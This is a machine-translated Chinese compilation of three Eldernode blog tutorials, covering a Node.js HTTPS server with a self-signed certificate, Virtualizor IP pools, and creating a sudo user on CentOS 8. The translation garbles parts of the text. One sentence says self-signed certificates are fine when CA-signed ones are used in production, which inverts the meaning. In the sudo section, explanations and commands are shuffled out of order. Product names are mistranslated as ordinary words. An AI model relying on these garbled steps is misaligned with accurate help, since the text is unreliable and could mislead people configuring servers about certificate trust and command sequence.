尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
用 Node.js 创建 HTTPS 服务器的 5 个步骤
原文:https://blog.eldernode.com/create-https-server-with-node-js/
如果您要移动任何数据,您应该确保数据和信息是安全的。当数据在服务器和用户之间传输时,保护数据的最有效方法之一是启用 HTTPS,也称为 SSL 证书。每个网站和博客都需要 HTTPS。现在是时候用 Node.js 创建一个 HTTPS 服务器了。这篇文章将教你用 Node.js 创建一个 HTTPS 服务器的 5 个步骤。如果你想买一个 VPS 服务器,查看 Eldernode 网站上提供的软件包。
如何用 Node.js 创建 HTTPS 服务器
HTTP 是一种用于网络间顺畅通信的协议,但它没有加密。HTTPS 代表超文本传输协议安全,是 HTTP 的加密版本;这被认为是用于通过万维网传输数据的主要协议。它在浏览器和服务器之间的传输过程中对数据进行加密,并且是一种受保护的连接,您可以使用它来连接到重要和敏感的站点。
1-生成自签名证书
有两种类型的证书,即由认证机构签名的证书和自签名的证书。SSL 证书的可信来源是证书颁发机构。如果你使用它,用户会信任你网站的身份。如果您在生产环境中使用 CA 签名的证书,自签名证书就可以了。
首先,打开您的终端,使用下面的命令生成一个签名证书:
openssl genrsa -out key.pem
openssl req -new -key key.pem -out csr.pem
openssl x509 -req -days 9999 -in csr.pem -signkey key.pem -out cert.pem
rm csr.pem
现在,您将得到一些选项来填充,除了常用名称和电子邮件地址这两个选项,您可以通过输入“.”将其余选项保留为默认值。
它将创建两个文件,它们是:
–>cert . PEM:自签名证书文件
–>key . PEM:证书的私钥
您应该将这些文件放在与您的 Node.js 服务器文件相同的目录中。
2-创建表单向服务器发送消息
在这一步中,编写 index.html 文件。您可以通过创建表单,通过 POST 请求向服务器发送消息:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content ="width=device-width, initial-scale=1.0"> <title>HTTPS Server</title> </head> <body> <h1>Welcome to HTTPS Server</h1> <br><br> <h3>Enter your message</h3> <!-- sending post request to "mssg" with the message from the textarea --> <form action="mssg" method="post"> <textarea name="message" id="" cols="30" rows="10"></textarea> <button type="submit">Send</button> </form> </body> </html>
3-创建 app.js 文件
现在使用下面的命令初始化项目:
npm init
安装 Express ,通过运行以下命令来处理服务器请求:
npm install express
然后安装 body-parser ,通过输入下面的命令从 POST 请求中的表单获取输入:
npm install body-parser
4-设置 hello world 示例
您应该设置一个 hello world 示例,如下所示。请记住,HTTPS 和 HTTP 的最大区别在于选项参数:
const https = require('https'); const fs = require('fs'); const options = { key: fs.readFileSync('key.pem'), cert: fs.readFileSync('cert.pem') }; https.createServer(options, function (req, res) { res.writeHead(200); res.end("hello world\n"); }).listen(8000);
5-用 Node.js 启动 HTTPS 服务器
您可以使用以下命令启动 HTTPS 服务器:
node app.js
打开浏览器,转到运行服务器地址:
curl -k https://localhost:8000
您应该会看到一个与 HTTPS 一起运行的网页:
就是这样!
结论
在这篇文章中,我们解释了用 Node.js 创建 HTTPS 服务器的 5 个步骤。我希望这篇教程能帮助你用 Node.js 创建 HTTPS 服务器。如果你有任何疑问或问题,可以在评论区联系我们。
In this article, we explained 5 steps to create an HTTPS Server with Node.js. I hope this tutorial helps you to create an HTTPS server with Node.js. If you have any questions or problems, you can contact us in the Comments section.
如何创建 IP 池并在 Virtualizor - Eldernode 博客上添加 IP
原文:https://blog.eldernode.com/create-ip-pool-and-add-ip-on-virtualizor/
IP 池是特定网络中用于创建虚拟机的连续 IP 地址范围。可以有多个池配置。创建 IP 池有助于避免虚拟机连接问题。在本文中,您将学习如何在 Virtualizor 上创建 IP 池和添加 IP。IP 池是可用于创建 VP 的 IP 的集合。要订购您认为合适的 VPS 服务器 ,请访问 Eldernode 并要求我们的技术团队为您提供指导。
如何创建 IP 地址池
首先,让我们看看如何创建一个额外的网络,用于为虚拟机提供额外的内部 IP 地址。但是,您可以在 Virtualizor 中创建一个 IP 池,如下所示:
注意 : 在内部 IP 网桥字段,需要指定自己创建的网桥名称。
如何在虚拟器上分配互联网 IP
创建 IP 池后,您就可以分配内部 IP 地址了。您可以在 WHMCS 计费模块中或在 Virtualizor 中创建/编辑虚拟机时指定相同的内容:
当 VPS 启动时,Virtualizor 会将网络 IP 分配给虚拟机。虚拟机将有两个网络接口。一个用于公共 IP 地址,另一个用于内部 IP 网络。
如何在虚拟器上添加 IP v4
现在,您已经了解了如何创建 IP 池,您可以向现有 IP 池添加 IP 了。之前,您已经学习了如何安装 Virtualizor 。现在,要在其上添加 IP 池,请遵循以下路径:
虚拟管理员 > > IP 池 > > 创建 IP 池
您将看到添加 IP 池向导,如下所示。要将 IP 池添加到您的节点,请单击添加 IP 池按钮:
注 : 您可以定义网络掩码、IP 网关、名称服务器等
添加 IP 池需要哪些输入
在本节中,您将熟悉在上面的屏幕截图中看到的每个必填字段。
类型:
池将拥有的 IP 类型。默认情况下,页面加载时会选择一个 IPv4 。如果您正在添加一个 IPv6 池,请选择 IPv6。
服务器:
如果您有从属服务器,您将需要选择可以使用该 IP 的服务器。要更改服务器,请从顶部菜单中更改活动服务器。
名称:
池的简单名称,以便您可以识别它。
名称服务器 1:
这是将在虚拟机中设置的第一个名称服务器,它将从此池中分配一个 IP。
名称服务器 2:
这是将在虚拟机中设置的第二台名称服务器,从该池中为其分配了一个 IP。
第一个 IP 和最后一个 IP:
如果要添加一系列新 IP,可以通过指定该范围的第一个和最后一个 IP 来完成。此外,还有一些其他领域可以说是高级设置。让我们看看他们做什么。
启用 NAT:
如果此 IP 地址池将用作 NAT 地址池,您需要选中此框。
注意 : 您不能将 IP 添加到启用了 NAT 的 IP 池。
使用路由网络:
如果启用,使用该池中 IPs 的虚拟机将创建一个路由文件(/etc/sys config/network-scripts/route-DEVICE)。一些数据中心需要这个。
输入 IP:
您需要在此输入 IP。点击 + 按钮,可以添加多个 IP。如果您要添加一个范围,则将其留空,并给第一个 IP 和最后一个 IP 。
如何在虚拟器上添加 IPv6
由于 Virtualizor 可以为虚拟机创建和分配 IPv6 子网,因此您可以将/64 IPv6 子网分成多个/112 子网,并将它们分配给虚拟机。此外,您需要有一个 IPv6 IP 池才能创建 IPv6 子网。
一旦有了 IPv6 IP 池,就可以开始生成子网了。遵循以下路径添加 IPv6 子网。
进入虚拟化管理面板 > > IP 池 > > 添加 IPv6 子网。
然后,您可以填写详细信息。
如何给虚拟机分配 IPv6 子网
现在您已经创建了 IPv6 子网,您可以在编辑或创建新虚拟机时将它们分配给虚拟机。
结论
在本文中,您了解了如何在 Virtualizor 上创建 IP 池和添加 IP。您可以使用 list IP Pool API 来列出服务器上的现有 IP 池。这样,根据 ID,就可以在 API 响应中看到所有的 IP 池细节。如果您的网络设置正确,您还可以跨多个节点使用 IP 池。创建 IP 池时,只需相应地选择“所有服务器”或“节点组”。
如何在 CentOS 8 - Eldernode 上创建支持 Sudo 的新用户
原文:https://blog.eldernode.com/create-new-sudo-user-centos-8/
作为系统管理员,你可能熟悉 sudo 命令。在本文中,您将学习如何在 CentOS 8 上创建一个新的支持 Sudo 的用户。它提供了一种授予管理员权限的机制——通常只对普通用户的根用户可用。
在本教程中,我们将向您展示如何在 CentOS 8 上创建一个具有 sudo 访问权限的新用户,而无需修改您服务器的 /etc/sudoers 文件。
如何在 CentOS 8 上创建启用 Sudo 的新用户
让我们通过以下步骤来完成本指南。如果您考虑配置现有的 CentOS 用户,跳到步骤 3。
阅读更多,如果你有兴趣:
1-登录您的服务器
首先,作为根用户 SSH 到您的服务器。替换您的服务器的 IP 地址或主机名,而不是下面突出显示的。
ssh [[email protected]](/cdn-cgi/l/email-protection)your_server_ip_address
2-向系统添加新用户
您可以使用 adduser 命令向您的系统添加一个新用户,并用您想要创建的用户名替换 noodi 。
adduser noodi
然后,要更新新用户的密码,使用 passwd 命令。
passwd noodi
不要忘记用你刚刚创建的用户替换 noodi 。那么你应该回答两次新密码。
输出
Changing password for user noodi. New password: Retype new password: passwd: all authentication tokens updated successfully.
3-将用户添加到滚轮组
接下来,将用户添加到轮盘组,使用 usermod 命令将用户添加到轮盘组:
虽然默认情况下轮组的所有成员都拥有完全的 sudo 访问权限,但请确保您已经用您想要授予 sudo 权限的用户名替换了 noodi 。
usermod -aG wheel noodi
4-测试 须藤 访问
在这一步中,您将看到新的 sudo 权限是否有效。但是要从根用户切换到新用户帐户,使用 su 命令
尽管您是一个新用户,但是您需要通过将 sudo 添加到您希望以超级用户权限运行的命令前面,来验证您是否可以使用 sudo 。
su - noodi
此外,您可以列出 /root 目录的内容,通常只有 root 用户可以访问:
sudo command_to_run
一旦您开始在会话中使用 sudo ,您将被要求输入该用户帐户的密码。
sudo ls -la /root
输出
请注意 :您输入的应该是启用 sudo 的用户密码,而不是 root 密码。因为它不是在问你根密码。
[sudo] password for noodi:
最后,你会看到你用 sudo 发出的命令将以 root 权限运行,以防你的用户在正确的组中并且你输入了正确的密码。
亲爱的用户,我们希望本教程如何在 CentOS 上创建一个新的支持 Sudo 的用户对您有所帮助,如果您有任何问题或想查看我们的用户关于本文的对话,请访问 提问页面 。也为了提高自己的见识,准备了这么多有用的教程给 Eldernode 培训。
Dear user, we wish this tutorial how to create a new Sudo-enabled user on CentOS 8would be helpful for you, to ask any question or review the conversation of our users about this article, please visit Ask page. Also to improve your knowledge, there are so many useful tutorials ready for Eldernode training.